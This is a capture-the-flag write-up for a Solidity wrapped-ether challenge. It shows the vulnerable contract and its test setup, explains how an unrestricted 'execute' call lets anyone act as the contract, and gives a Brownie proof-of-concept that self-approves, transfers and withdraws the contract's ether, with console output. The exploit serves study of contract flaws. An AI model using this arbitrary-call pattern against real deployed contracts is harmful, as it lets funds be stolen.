But along the way, bob made a mistake and transferred its tokens to the wrong address.
Can you help bob recover his 10 ether?

There is also one setup deployment script for this contract which is written in foundry.

Setup

// SPDX-License-Identifier: Manija
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";

import "../src/WETH11.sol";

contract Weth11Test is Test {
WETH11 public weth;
address owner;
address bob;

function setUp() public {
weth = new WETH11();
bob = makeAddr("bob");

vm.deal(address(bob), 10 ether);
vm.startPrank(bob);
weth.deposit{value: 10 ether}();
weth.transfer(address(weth), 10 ether);
vm.stopPrank();
}

function testHack() public {
assertEq(
weth.balanceOf(address(weth)),
10 ether,
"weth contract should have 10 ether"
);

vm.startPrank(bob);

// hack time!

vm.stopPrank();

assertEq(address(weth).balance, 0, "empty weth contract");
assertEq(
weth.balanceOf(address(weth)),
0,
"empty weth on weth contract"
);

assertEq(
bob.balance,
10 ether,
"player should recover initial 10 ethers"
);
}
}

Contract

pragma solidity ^0.8.0;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";

// The Angel Di Maria Wrapped Ether
contract WETH11 is ERC20("Angel Di Maria Wrapped Ether", "WETH11"), ReentrancyGuard {
receive() external payable {
deposit();
}

function _burnAll() internal {
_burn(msg.sender, balanceOf(msg.sender));
}

function deposit() public payable nonReentrant {
_mint(msg.sender, msg.value);
}

function withdraw(uint256 wad) external nonReentrant {
_burn(msg.sender, wad);
Address.sendValue(payable(msg.sender), wad);

}

function withdrawAll() external nonReentrant {
uint256 balance = balanceOf(msg.sender);
_burnAll();
Address.sendValue(payable(msg.sender), balance);

}

/// @notice Request a flash loan in ETH
function execute(address receiver, uint256 amount, bytes calldata data) external nonReentrant {
uint256 prevBalance = address(this).balance;
Address.functionCallWithValue(receiver, data, amount);

require(address(this).balance >= prevBalance, "flash loan not returned");
}
}

This new challenge is a different version of the previous WETH-10 challenge. And from WETH-10 challenge we know that there were 2 vulnerabilities but we couldn't exploit one of them because weth contract does not have any erc20 tokens. Now if we take a look to the setup script it can be seen that contract has ERC20 tokens, so we can exploit it. That setup script can be written in python easily

from brownie import *
from scripts.setup_general import console

def setup():
owner = accounts[0]
bob = accounts[1]

weth = WETH11.deploy({'from': owner})
#bob transfer all his money to owner
bob.transfer(owner, bob.balance())
#owner transfer 10 ether to weth contract
owner.transfer(weth, web3.toWei('10', 'ether'))
#now bob should have 0 balance
assert bob.balance() == web3.toWei('0', 'ether')
assert weth.balanceOf(bob) == web3.toWei('0', 'ether')
#Weth transfers all his money to weth, now balanceOf(weth) should be 10 eth, balanceOf(bob) should be 0
weth.deposit({'from': weth, 'value': web3.toWei('10', 'ether')})
assert weth.balanceOf(bob) == 0
assert weth.balanceOf(weth) == web3.toWei('10', 'ether')

Just as a reminder, If we take a look at the weth contract there is one function named `execute` which is expecting receiver and data. So it means we can call any function we want as a weth contract because `msg.sender` will be the address of `weth` contract. That function is definitely vulnerable. We can just approve as much as erc20 token and increase our allowance as an attacker.

>>> weth.allowance(weth, bob)

0
>>> weth.approve.encode_input(bob, web3.toWei('10', 'ether'))
'0x095ea7b300000000000000000000000033a4622b82d4c04a53e170c638b944ce27cffce30000000000000000000000000000000000000000000000008ac7230489e80000'
>>> weth.execute(weth, 0, 0x095ea7b300000000000000000000000033a4622b82d4c04a53e170c638b944ce27cffce30000000000000000000000000000000000000000000000008ac7230489e80000, {'from': bob})
Transaction sent: 0xeb5ab00839aa2129d1961cddb20703363919397185d8437d796d312b3f4f6e91
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1
WETH11.execute confirmed Block: 5 Gas used: 49948 (0.42%)

<Transaction '0xeb5ab00839aa2129d1961cddb20703363919397185d8437d796d312b3f4f6e91'>
>>> weth.allowance(weth, bob)

10000000000000000000
>>> weth.balanceOf(weth)
10000000000000000000
>>> weth.transferFrom(weth, bob, web3.toWei('10', 'ether'), {'from': bob})
Transaction sent: 0x6154480414fc046d8f2bafd059a2b38677f082f61565230871853d82032c5aa4
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2
WETH11.transferFrom confirmed Block: 6 Gas used: 29790 (0.25%)

<Transaction '0x6154480414fc046d8f2bafd059a2b38677f082f61565230871853d82032c5aa4'>
>>> weth.balanceOf(bob)
10000000000000000000
>>> bob.balance()
0
>>> weth.withdrawAll({'from': bob})
Transaction sent: 0x9d7c6677336e593e4145150b6434b52ca6fed9095331c34f65b492d8a20e9fcf
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 3
WETH11.withdrawAll confirmed Block: 7 Gas used: 31833 (0.27%)

<Transaction '0x9d7c6677336e593e4145150b6434b52ca6fed9095331c34f65b492d8a20e9fcf'>
>>> bob.balance()
10000000000000000000

It can be seen that we can increase our allowance and it means we can use/transfer any erc20 token weth has. And eventually, after we allow ourselves to transfer, we can transfer all erc20 with transferFrom function and then we can withdraw to get back our initial 10 ether.

POC

Python Exploit Function

from brownie import *
from scripts.setup_general import console

def setup():
owner = accounts[0]
bob = accounts[1]

weth = WETH11.deploy({'from': owner})
#bob transfer all his money to owner
bob.transfer(owner, bob.balance())
#owner transfer 10 ether to weth contract
owner.transfer(weth, web3.toWei('10', 'ether'))
#now bob should have 0 balance
assert bob.balance() == web3.toWei('0', 'ether')
assert weth.balanceOf(bob) == web3.toWei('0', 'ether')
#Weth transfers all his money to weth, now balanceOf(weth) should be 10 eth, balanceOf(bob) should be 0
weth.deposit({'from': weth, 'value': web3.toWei('10', 'ether')})
assert weth.balanceOf(bob) == 0
assert weth.balanceOf(weth) == web3.toWei('10', 'ether')

def exploit():
bob = accounts[1]
weth = WETH11[-1]
data = weth.approve.encode_input(bob, web3.toWei('10', 'ether'))
assert weth.allowance(weth, bob) == 0
console.yellow("Executing approve message as weth contract to allow ourselves.")
weth.execute(weth, 0, data, {'from': bob})
assert weth.allowance(weth, bob) == web3.toWei('10', 'ether')
assert weth.balanceOf(bob) == 0
console.yellow("Transfering 10 ether to bob")
weth.transferFrom(weth, bob, web3.toWei('10', 'ether'), {'from': bob})
assert weth.balanceOf(bob) == web3.toWei('10', 'ether')
console.yellow("Withdrawing all money")
weth.withdrawAll({'from': bob})
assert weth.balance() == 0
assert weth.balanceOf(weth) == 0
assert bob.balance() == web3.toWei('10', 'ether')
console.green("Balance of Bob is: " + str(bob.balance()))

And the output is


- >>> run('poc', 'setup')

Running 'scripts\poc.py::setup'...
Transaction sent: 0x3619825af7d1df7fb5f2a344799572dec2dd2c9d4021b1ddc3a909ce712b5696
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0
WETH11.constructor confirmed Block: 1 Gas used: 1050675 (8.76%)
WETH11 deployed at: 0x3194cBDC3dbcd3E11a07892e7bA5c3394048Cc87

Transaction sent: 0x8e9c7ae347f36b42c9e790c165c52d918ba140858830f8b340c43b5eca839aaa
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0
Transaction confirmed Block: 2 Gas used: 21000 (0.18%)

Transaction sent: 0x240855cb89af447bb59e22c8bd9571aaf908970d25c09dbd6a908e89163078ad
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1
Transaction confirmed Block: 3 Gas used: 67226 (0.56%)

Transaction sent: 0x8f6cd5012aa640c7fdbbd72b24858ed89fb09073b76d7d2e5cfac013113d0fb7
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1
WETH11.deposit confirmed Block: 4 Gas used: 52397 (0.44%)

- >>> run('poc', 'exploit')

Running 'scripts\poc.py::exploit'...
+ Executing approve message as weth contract to allow ourselves.
Transaction sent: 0xeb5ab00839aa2129d1961cddb20703363919397185d8437d796d312b3f4f6e91
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1
WETH11.execute confirmed Block: 5 Gas used: 49948 (0.42%)

+ Transfering 10 ether to bob
Transaction sent: 0x6154480414fc046d8f2bafd059a2b38677f082f61565230871853d82032c5aa4
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2
WETH11.transferFrom confirmed Block: 6 Gas used: 29790 (0.25%)

+ Withdrawing all money
Transaction sent: 0x9d7c6677336e593e4145150b6434b52ca6fed9095331c34f65b492d8a20e9fcf
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 3
WETH11.withdrawAll confirmed Block: 7 Gas used: 31833 (0.27%)

+ Balance of Bob is: 10000000000000000000